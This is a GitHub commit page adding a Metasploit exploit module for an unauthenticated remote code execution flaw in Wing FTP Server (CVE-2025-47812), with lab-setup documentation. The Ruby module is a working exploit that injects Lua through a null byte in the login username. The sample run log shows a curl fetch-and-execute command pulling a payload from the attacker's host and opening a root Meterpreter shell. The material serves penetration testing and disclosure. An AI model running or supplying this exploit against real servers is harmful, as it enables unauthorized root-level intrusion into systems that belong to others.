Skip to content

Commit 93f902f

Browse files
authored
Land #20364, adds WingFTP unauthenticated RCE module
Add WingFTP unauthenticated RCE (CVE-2025-47812)
2 parents ada43cd + 7629dd7 commit 93f902f

File tree

2 files changed

+309
-0
lines changed

2 files changed

+309
-0
lines changed
Lines changed: 161 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,161 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an **unauthenticated Remote Code Execution** vulnerability
4+
in **Wing FTP Server** (≤ 7.4.3 on Linux 64-bit), via its web administration interface.
5+
The flaw lies in the login handler (`loginok.html`): by injecting a null byte (`%00`) into
6+
the `username` parameter, attacker-supplied Lua code is written into the session file and
7+
then executed by `loadfile()`, yielding arbitrary code execution as **root**.
8+
9+
To set up a vulnerable lab, use the following **Vagrantfile**, which provisions a Debian
10+
"bookworm" VM, installs Wing FTP Server 7.4.3, and exposes its HTTP/S and FTP ports on the host:
11+
12+
```ruby
13+
Vagrant.configure("2") do |config|
14+
config.vm.box = "debian/bookworm64"
15+
16+
if Vagrant.has_plugin?("vagrant-vbguest")
17+
config.vbguest.auto_update = false
18+
end
19+
20+
{
21+
21 => 2121, # FTP
22+
990 => 2990, # FTPS
23+
5466 => 5466, # Admin port WingFTP
24+
50000 => 50000, # Passive FTP range start
25+
50050 => 50050, # Passive FTP range end
26+
80 => 8081 # HTTP WingFTP Web GUI
27+
}.each do |guest, host|
28+
config.vm.network "forwarded_port",
29+
guest: guest,
30+
host: host,
31+
host_ip: "0.0.0.0",
32+
auto_correct: true
33+
end
34+
35+
config.vm.provision "shell", inline: <<-SHELL
36+
#!/usr/bin/env bash
37+
set -e
38+
39+
ADMIN_USER="admin"
40+
ADMIN_PASS="adminadmin"
41+
ADMIN_PORT="5466"
42+
WFTP_URL="https://web.archive.org/web/20250108084555/https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz"
43+
44+
apt-get update
45+
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
46+
wget ca-certificates libssl3 libpam0g libacl1 libcap2 \
47+
net-tools procps expect curl \
48+
linux-headers-amd64 build-essential dkms
49+
50+
mkdir -p /opt/wingftp
51+
cd /opt/wingftp
52+
wget -qO wftp.tar.gz "$WFTP_URL"
53+
tar xzf wftp.tar.gz --strip-components=1
54+
rm wftp.tar.gz
55+
chmod +x setup.sh
56+
57+
expect -c "
58+
spawn /opt/wingftp/setup.sh
59+
expect \\\"Enter your administrator name:\\\" { send \\\"${ADMIN_USER}\\r\\\" }
60+
expect \\\"Enter your administrator password:\\\" { send \\\"${ADMIN_PASS}\\r\\\" }
61+
expect \\\"Enter your administrator password:\\\" { send \\\"${ADMIN_PASS}\\r\\\" }
62+
expect \\\"Enter the listener port\\\" { send \\\"${ADMIN_PORT}\\r\\\" }
63+
expect \\\"Do you want to start Wing FTP Server now?\\\" { send \\\"y\\r\\\" }
64+
expect eof
65+
"
66+
67+
systemctl daemon-reload
68+
systemctl enable wftpserver.service
69+
systemctl start wftpserver.service
70+
SHELL
71+
72+
config.vm.provider "virtualbox" do |vb|
73+
vb.memory = 512
74+
vb.cpus = 1
75+
end
76+
end
77+
```
78+
79+
* Save this as Vagrantfile in an empty directory.
80+
* Run vagrant up.
81+
* After provisioning, access the Wing FTP Server web UI at http://localhost:5466/ with credentials admin/adminadmin.
82+
* On first login, a popup will appear; click OK.
83+
* Create a new domain in the admin interface (this will enable the web client panel, port 8081).
84+
* Then create a new user; for simplicity, use anonymous.
85+
86+
87+
## Verification Steps
88+
89+
1. Start `msfconsole`.
90+
2. Load the module:
91+
```
92+
use exploit/multi/http/wingftp_null_byte_rce
93+
```
94+
3. Set target parameters:
95+
```
96+
set RHOSTS 127.0.0.1
97+
set RPORT 8081
98+
set TARGETURI /
99+
```
100+
4. Configure payload:
101+
```
102+
set payload cmd/linux/http/x64/meterpreter/reverse_tcp
103+
set LHOST <your IP>
104+
set LPORT <your port>
105+
```
106+
5. Run the exploit:
107+
```
108+
run
109+
```
110+
6. On success, a Meterpreter session will open, confirming remote code execution.
111+
112+
113+
## Options
114+
115+
### USERNAME
116+
117+
A valid username (default: anonymous)
118+
119+
### PASSWORD
120+
121+
A valid password (default: '')
122+
123+
124+
## Scenarios
125+
126+
### Successful Exploitation against Wing FTP Server
127+
128+
**Setup**:
129+
130+
* Wing FTP Server running in the Vagrant VM above.
131+
* Attacker on host machine with Metasploit.
132+
133+
**Steps**:
134+
135+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
136+
137+
```
138+
msf6 exploit(multi/http/wingftp_null_byte_rce) > run http://lab:8081
139+
[*] Command to run on remote host: curl -so ./FaWVivODJhB http://192.168.1.36:9999/LoPlnjEpeOexZNVppn6cAA;chmod +x ./FaWVivODJhB;./FaWVivODJhB&
140+
[*] Fetch handler listening on 192.168.1.36:9999
141+
[*] HTTP server started
142+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
143+
[*] Started reverse TCP handler on 192.168.1.36:4444
144+
[*] Running automatic check ("set AutoCheck false" to disable)
145+
[+] The target appears to be vulnerable. UID cookie received: UID=2a5efb5a398e4ff19369a523c3cfffb03683e20446a6b40715757e2b05f10521
146+
[+] Received UID: UID=146015b242094d8f4eff04941d94e67d3683e20446a6b40715757e2b05f10521
147+
[*] Client 192.168.1.36 requested /LoPlnjEpeOexZNVppn6cAA
148+
[*] Sending payload to 192.168.1.36 (curl/7.88.1)
149+
[*] Transmitting intermediate stager...(126 bytes)
150+
[*] Sending stage (3045380 bytes) to 192.168.1.36
151+
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 192.168.1.36:46260) at 2025-07-01 18:56:31 +0200
152+
153+
meterpreter > sysinfo
154+
Computer : 10.0.2.15
155+
OS : Debian 12.9 (Linux 6.1.0-37-amd64)
156+
Architecture : x64
157+
BuildTuple : x86_64-linux-musl
158+
Meterpreter : x64/linux
159+
meterpreter > getuid
160+
Server username: root
161+
```
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
12+
def initialize(info = {})
13+
super(
14+
update_info(
15+
info,
16+
'Name' => 'Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812)',
17+
'Description' => %q{
18+
Wing FTP Server allows arbitrary Lua code injection via a NULL-byte (%00) truncation bug (CVE-2025-47812).
19+
Supplying <valid-user>%00<lua-payload> as the username makes the C++ authentication routine validate only the prefix,
20+
while the full string is written unfiltered into the session file and later executed with root/SYSTEM privileges,
21+
leading to Remote Code Execution.
22+
},
23+
'Author' => [
24+
'Valentin Lobstein', # Metasploit Module
25+
'Julien Ahrens' # Vulnerability Discovery
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' => [
29+
['CVE', '2025-47812'],
30+
['URL', 'https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/']
31+
],
32+
'Platform' => %w[unix linux win],
33+
'Arch' => [ARCH_CMD],
34+
'Targets' => [
35+
[
36+
'Unix/Linux Command Shell', {
37+
'Platform' => %w[unix linux],
38+
'Arch' => ARCH_CMD
39+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
40+
}
41+
],
42+
[
43+
'Windows Command Shell', {
44+
'Platform' => 'win',
45+
'Arch' => ARCH_CMD
46+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
47+
}
48+
]
49+
],
50+
'DefaultTarget' => 0,
51+
'Privileged' => true,
52+
'DisclosureDate' => '2025-06-30',
53+
'Notes' => {
54+
'Stability' => [CRASH_SAFE],
55+
'Reliability' => [REPEATABLE_SESSION],
56+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
57+
}
58+
)
59+
)
60+
61+
register_options(
62+
[
63+
OptString.new('USERNAME', [ true, 'Valid username for authentication', 'anonymous' ]),
64+
OptString.new('PASSWORD', [ false, 'Password for authentication', '' ])
65+
]
66+
)
67+
end
68+
69+
def uid_cookie(res)
70+
res&.get_cookies_parsed&.[]('UID')
71+
end
72+
73+
def post_login(username, password)
74+
send_request_cgi(
75+
'method' => 'POST',
76+
'uri' => normalize_uri(target_uri.path, 'loginok.html'),
77+
'uri_encode_mode' => 'none',
78+
'headers' => {
79+
'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english'
80+
},
81+
'vars_post' => {
82+
'username' => username,
83+
'password' => password,
84+
'username_val' => username.split('%00').first,
85+
'password_val' => password
86+
}
87+
)
88+
end
89+
90+
def check
91+
res = send_request_cgi(
92+
'method' => 'GET',
93+
'uri' => normalize_uri(target_uri.path, 'login.html')
94+
)
95+
return CheckCode::Safe('Not a Wing FTP Web Client') unless res&.body&.include?('Wing FTP Server - Web Client')
96+
97+
if (ver_str = res.body[/Wing FTP Server v([\d.]+)/i, 1])
98+
ver = Rex::Version.new(ver_str)
99+
return ver < Rex::Version.new('7.4.4') ? CheckCode::Vulnerable("Detected version #{ver} ≤ 7.4.4") : CheckCode::Safe("Detected version #{ver} > 7.4.4")
100+
end
101+
102+
suffix = Rex::Text.rand_text_alpha(8)
103+
user = datastore['USERNAME']
104+
pass = datastore['PASSWORD']
105+
106+
res2 = post_login("#{user}%00#{suffix}", pass)
107+
return CheckCode::Unknown('No response') unless res2
108+
109+
if uid_cookie(res2)
110+
CheckCode::Appears('UID cookie received')
111+
else
112+
CheckCode::Safe('UID cookie not found; not vulnerable')
113+
end
114+
end
115+
116+
def exploit
117+
user = datastore['USERNAME']
118+
pass = datastore['PASSWORD']
119+
hex = payload.encoded.unpack('H*').first
120+
121+
lua = <<~LUA
122+
]]
123+
local function hx(s)#{' '}
124+
return (s:gsub('..', function(x)#{' '}
125+
return string.char(tonumber(x,16))#{' '}
126+
end))#{' '}
127+
end
128+
local cmd = hx("#{hex}")
129+
local h = io.popen(cmd)
130+
h:close()
131+
LUA
132+
133+
inj = "#{user}%00" + Rex::Text.uri_encode(lua).gsub('%0a', '%0d') + '--'
134+
135+
res = post_login(inj, pass)
136+
fail_with(Failure::UnexpectedReply, 'Injection failed') unless res&.code == 200
137+
138+
uid = res.get_cookies_parsed.fetch('UID', nil)
139+
fail_with(Failure::UnexpectedReply, 'UID cookie not returned') unless uid
140+
print_good("Received UID: #{uid}, injection succeeded")
141+
142+
send_request_cgi(
143+
'method' => 'GET',
144+
'uri' => normalize_uri(target_uri.path, 'dir.html'),
145+
'headers' => { 'Cookie' => uid }
146+
)
147+
end
148+
end

0 commit comments

Comments
 (0)